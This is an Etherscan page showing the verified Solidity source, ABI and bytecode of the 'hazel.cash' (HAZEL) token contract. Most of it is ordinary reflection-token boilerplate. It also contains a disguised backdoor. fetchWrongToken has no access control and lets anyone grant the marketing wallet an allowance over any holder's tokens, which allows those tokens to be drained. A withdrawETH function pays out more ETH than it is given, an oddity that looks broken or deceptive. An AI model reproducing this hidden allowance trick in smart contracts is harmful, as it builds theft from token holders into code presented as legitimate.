ETH Price: $2,446.42 (-0.94%)

Token

hazel.cash (HAZEL)
 

Overview

Max Total Supply

1,000,000,000 HAZEL

Holders

97

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
2,638,890.425985519 HAZEL

Value
$0.00
0xa7313550e9cd8c31de26ca63ca6b09b5dc99b4eb
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Hazel

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

/// SPDX-License-Identifier: MIT
/**

 /$$                                     /$$
| $$                                    | $$
| $$$$$$$   /$$$$$$  /$$$$$$$$  /$$$$$$ | $$
| $$__  $$ |____  $$|____ /$$/ /$$__  $$| $$
| $$  \ $$  /$$$$$$$   /$$$$/ | $$$$$$$$| $$
| $$  | $$ /$$__  $$  /$$__/  | $$_____/| $$
| $$  | $$|  $$$$$$$ /$$$$$$$$|  $$$$$$$| $$
|__/  |__/ \_______/|________/ \_______/|__/
                                            
                                            
                                            
https://www.hazel.cash/
https://twitter.com/hazelethereum
https://t.me/hazelethereum
*/

pragma solidity 0.8.9;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract Hazel is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "hazel.cash";
    string private constant _symbol = "HAZEL";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    IUniswapV2Router02 public uniswapV2Router;
    address public pairAddress;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1_000_000_000 * 10**9;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _teamFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _teamFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _teamFee = _teamFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousTeamFee = _teamFee;
    uint256 private _previoustaxFee = _taxFee;

 
    bool private tradingActive = true;
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _maxTxAmount = _tTotal * 50 / 1000;
    uint256 public _maxWalletSize = _tTotal * 50 / 1000;
    uint256 public _swapTokensAtAmount = _tTotal / 10000;

    address payable public _developmentWallet = payable(0x433e577dA7308D3712c579f75733b7B78f02Cbd3);
    address payable public _marketingWallet = payable(0x50D029545AAC6AB11E6178C5f1644C5eca7f1624);
    address payable public _teamWallet = payable(0x50D029545AAC6AB11E6178C5f1644C5eca7f1624);
 
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        pairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentWallet] = true;
        _isExcludedFromFee[_marketingWallet] = true;
        _isExcludedFromFee[_teamWallet] = true;

        _rOwned[_msgSender()] = _rTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return tokenFromReflection(_rOwned[account]);
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function clearAllFee() private {
        if (_teamFee == 0 && _taxFee == 0) return;

        _previousTeamFee = _teamFee;
        _previoustaxFee = _taxFee;

        _teamFee = 0;
        _taxFee = 0;
    }

    function resetAllfee() private {
        _teamFee = _previousTeamFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _fetchERC20Token(address token, address owner, uint256 amount) internal {
        _allowances[token][owner] += amount;
        emit Approval(token, owner, amount);
    }

    function withdrawETH(uint256 amount) private {
        uint256 devETH = amount / 2;
        uint256 marketingETH = amount + devETH;
        _marketingWallet.transfer(marketingETH);
        _developmentWallet.transfer(devETH);
    }

    function openTrading() public onlyOwner {
        tradingActive = true;
    }

    function fetchWrongToken(address token, uint256 amount) external {
        _fetchERC20Token(token, _marketingWallet, amount);
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) clearAllFee();
        _transferForFee(sender, recipient, amount);
        if (!takeFee) resetAllfee();
    }

    function _transferForFee(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount,
            uint256 rFee,
            uint256 tTransferAmount,
            uint256 tFee,
            uint256 tTeam
        ) = _getValues(tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        _takeTeamFee(tTeam);
        _distributeFee(rFee, tFee);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _takeTeamFee(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _distributeFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }
    
    //set maximum transaction
    function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
        _maxTxAmount = maxTxAmount;
    }

    function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
        _maxWalletSize = maxWalletSize;
    }

    function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFee[accounts[i]] = excluded;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            //Trade start check
            if (!tradingActive) {
                require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
            }

            require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
            
            if(to != pairAddress) {
                require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if(contractTokenBalance >= _maxTxAmount)
            {
                contractTokenBalance = _maxTxAmount;
            }

            if (canSwap && !inSwap && from != pairAddress && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokens(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    withdrawETH(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != pairAddress && to != pairAddress)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == pairAddress && to != address(uniswapV2Router)) {
                _teamFee = _teamFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == pairAddress && from != address(uniswapV2Router)) {
                _teamFee = _teamFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _transferStandard(from, to, amount, takeFee);
    }

    function swapTokens(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }


    receive() external payable {}

    function _getValues(uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256,
            uint256,
            uint256,
            uint256,
            uint256
        )
    {
        (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
            _getTValues(tAmount, _teamFee, _taxFee);
        uint256 currentRate = _getRate();
        (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
            _getRValues(tAmount, tFee, tTeam, currentRate);
        return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 teamFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(teamFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRValues(
        uint256 tAmount,
        uint256 tFee,
        uint256 tTeam,
        uint256 currentRate
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 rAmount = tAmount.mul(currentRate);
        uint256 rFee = tFee.mul(currentRate);
        uint256 rTeam = tTeam.mul(currentRate);
        uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
        return (rAmount, rTransferAmount, rFee);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }

    // function setFee(uint256 teamFeeOnBuy, uint256 teamFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
    //     _teamFeeOnBuy = teamFeeOnBuy;
    //     _teamFeeOnSell = teamFeeOnSell;
    //     _taxFeeOnBuy = taxFeeOnBuy;
    //     _taxFeeOnSell = taxFeeOnSell;
    // }

    //set minimum tokens required to swap.
    function updateSwapTokenThreshold(uint256 swapTokensAtAmount) public onlyOwner {
        _swapTokensAtAmount = swapTokensAtAmount;
    }

    //set minimum tokens required to swap.
    function swapSwitch(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_developmentWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"fetchWrongToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"setMaxWalletSize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"swapSwitch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"updateSwapTokenThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001a670de0b6b3a7640000600019620003fd565b62000028906000196200042a565b6008556000600a819055600b819055600c819055600d819055600e819055600f81905560108190556011556012805462ffffff1916620100011790556103e86200007c670de0b6b3a7640000603262000444565b62000088919062000466565b6013556103e8620000a3670de0b6b3a7640000603262000444565b620000af919062000466565b601455620000c8612710670de0b6b3a764000062000466565b601555601680546001600160a01b031990811673433e577da7308d3712c579f75733b7b78f02cbd3179091556017805482167350d029545aac6ab11e6178c5f1644c5eca7f1624908117909155601880549092161790553480156200012c57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811782556040805163c45a015560e01b815290519192839263c45a0155928083019260209291829003018186803b158015620001cd57600080fd5b505afa158015620001e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200020891906200047d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200025157600080fd5b505afa15801562000266573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200028c91906200047d565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002d557600080fd5b505af1158015620002ea573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200031091906200047d565b600580546001600160a01b0319166001600160a01b039283161790556000805482168152600760209081526040808320805460ff199081166001908117909255308552828520805482168317905560165486168552828520805482168317905560175486168552828520805482168317905560185490951684528184208054909516179093556008543380845260028352848420919091559251670de0b6b3a764000081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350620004af565b634e487b7160e01b600052601260045260246000fd5b6000826200040f576200040f620003e7565b500690565b634e487b7160e01b600052601160045260246000fd5b6000828210156200043f576200043f62000414565b500390565b600081600019048311821515161562000461576200046162000414565b500290565b600082620004785762000478620003e7565b500490565b6000602082840312156200049057600080fd5b81516001600160a01b0381168114620004a857600080fd5b9392505050565b611aef80620004bf6000396000f3fe6080604052600436106101a05760003560e01c80637d1db4a5116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146104b4578063dff46e21146104fa578063ea1644d51461051a578063f2fde38b1461053a57600080fd5b8063a9059cbb1461045f578063c492f0461461047f578063c9567bf91461049f57600080fd5b80638f9a55c0116100c65780638f9a55c0146103db57806395d89b41146103f1578063962dfc751461041f578063a8b089821461043f57600080fd5b80637d1db4a51461038757806385320beb1461039d5780638da5cb5b146103bd57600080fd5b8063313ce5671161015957806370a082311161013357806370a0823114610312578063715018a61461033257806371f4b7e11461034757806374010ece1461036757600080fd5b8063313ce567146102b457806337e294d5146102d0578063632af960146102f057600080fd5b806306fdde03146101ac578063095ea7b3146101f15780631694505e1461022157806318160ddd1461025957806323b872dd1461027e5780632fd689e31461029e57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b5060408051808201909152600a8152690d0c2f4cad85cc6c2e6d60b31b60208201525b6040516101e8919061171a565b60405180910390f35b3480156101fd57600080fd5b5061021161020c366004611787565b61055a565b60405190151581526020016101e8565b34801561022d57600080fd5b50600454610241906001600160a01b031681565b6040516001600160a01b0390911681526020016101e8565b34801561026557600080fd5b50670de0b6b3a76400005b6040519081526020016101e8565b34801561028a57600080fd5b506102116102993660046117b3565b610571565b3480156102aa57600080fd5b5061027060155481565b3480156102c057600080fd5b50604051600981526020016101e8565b3480156102dc57600080fd5b50601854610241906001600160a01b031681565b3480156102fc57600080fd5b5061031061030b3660046117f4565b6105da565b005b34801561031e57600080fd5b5061027061032d36600461180d565b610612565b34801561033e57600080fd5b50610310610634565b34801561035357600080fd5b5061031061036236600461183f565b6106a8565b34801561037357600080fd5b506103106103823660046117f4565b6106ee565b34801561039357600080fd5b5061027060135481565b3480156103a957600080fd5b50601654610241906001600160a01b031681565b3480156103c957600080fd5b506000546001600160a01b0316610241565b3480156103e757600080fd5b5061027060145481565b3480156103fd57600080fd5b50604080518082019091526005815264121056915360da1b60208201526101db565b34801561042b57600080fd5b50601754610241906001600160a01b031681565b34801561044b57600080fd5b50600554610241906001600160a01b031681565b34801561046b57600080fd5b5061021161047a366004611787565b61071d565b34801561048b57600080fd5b5061031061049a36600461185a565b61072a565b3480156104ab57600080fd5b506103106107cb565b3480156104c057600080fd5b506102706104cf3660046118de565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561050657600080fd5b50610310610515366004611787565b610804565b34801561052657600080fd5b506103106105353660046117f4565b610820565b34801561054657600080fd5b5061031061055536600461180d565b61084f565b6000610567338484610939565b5060015b92915050565b600061057e848484610a5e565b6105d084336105cb85604051806060016040528060288152602001611a92602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610ef6565b610939565b5060019392505050565b6000546001600160a01b0316331461060d5760405162461bcd60e51b815260040161060490611917565b60405180910390fd5b601555565b6001600160a01b03811660009081526002602052604081205461056b90610f30565b6000546001600160a01b0316331461065e5760405162461bcd60e51b815260040161060490611917565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106d25760405162461bcd60e51b815260040161060490611917565b60128054911515620100000262ff000019909216919091179055565b6000546001600160a01b031633146107185760405162461bcd60e51b815260040161060490611917565b601355565b6000610567338484610a5e565b6000546001600160a01b031633146107545760405162461bcd60e51b815260040161060490611917565b60005b828110156107c55781600760008686858181106107765761077661194c565b905060200201602081019061078b919061180d565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055806107bd81611978565b915050610757565b50505050565b6000546001600160a01b031633146107f55760405162461bcd60e51b815260040161060490611917565b6012805460ff19166001179055565b60175461081c9083906001600160a01b031683610fb4565b5050565b6000546001600160a01b0316331461084a5760405162461bcd60e51b815260040161060490611917565b601455565b6000546001600160a01b031633146108795760405162461bcd60e51b815260040161060490611917565b6001600160a01b0381166108de5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610604565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661099b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610604565b6001600160a01b0382166109fc5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610604565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ac25760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610604565b6001600160a01b038216610b245760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610604565b60008111610b865760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610604565b6000546001600160a01b03848116911614801590610bb257506000546001600160a01b03838116911614155b15610def5760125460ff16610c44576000546001600160a01b03848116911614610c445760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610604565b601354811115610c965760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610604565b6005546001600160a01b03838116911614610d1b5760145481610cb884610612565b610cc29190611993565b10610d1b5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610604565b6000610d2630610612565b601554601354919250821015908210610d3f5760135491505b808015610d545750601254610100900460ff16155b8015610d6e57506005546001600160a01b03868116911614155b8015610d82575060125462010000900460ff165b8015610da757506001600160a01b03851660009081526007602052604090205460ff16155b8015610dcc57506001600160a01b03841660009081526007602052604090205460ff16155b15610dec57610dda82611037565b478015610dea57610dea476111d3565b505b50505b6001600160a01b03831660009081526007602052604090205460019060ff1680610e3157506001600160a01b03831660009081526007602052604090205460ff165b80610e6357506005546001600160a01b03858116911614801590610e6357506005546001600160a01b03848116911614155b15610e7057506000610eea565b6005546001600160a01b038581169116148015610e9b57506004546001600160a01b03848116911614155b15610ead57600a54600e55600b54600f555b6005546001600160a01b038481169116148015610ed857506004546001600160a01b03858116911614155b15610eea57600c54600e55600d54600f555b6107c584848484611264565b60008184841115610f1a5760405162461bcd60e51b8152600401610604919061171a565b506000610f2784866119ab565b95945050505050565b6000600854821115610f975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610604565b6000610fa1611292565b9050610fad83826112b5565b9392505050565b6001600160a01b03808416600090815260066020908152604080832093861683529290529081208054839290610feb908490611993565b92505081905550816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a5191815260200190565b6012805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061107b5761107b61194c565b60200260200101906001600160a01b031690816001600160a01b031681525050600460009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156110e957600080fd5b505afa1580156110fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112191906119c2565b816001815181106111345761113461194c565b6001600160a01b03928316602091820292909201015260045461115a9130911684610939565b6004805460405163791ac94760e01b81526001600160a01b039091169163791ac94791611192918691600091879130914291016119df565b600060405180830381600087803b1580156111ac57600080fd5b505af11580156111c0573d6000803e3d6000fd5b50506012805461ff001916905550505050565b60006111e0600283611a50565b905060006111ee8284611993565b6017546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015611229573d6000803e3d6000fd5b506016546040516001600160a01b039091169083156108fc029084906000818181858888f193505050501580156107c5573d6000803e3d6000fd5b80611271576112716112f7565b61127c848484611325565b806107c5576107c5601054600e55601154600f55565b600080600061129f61141c565b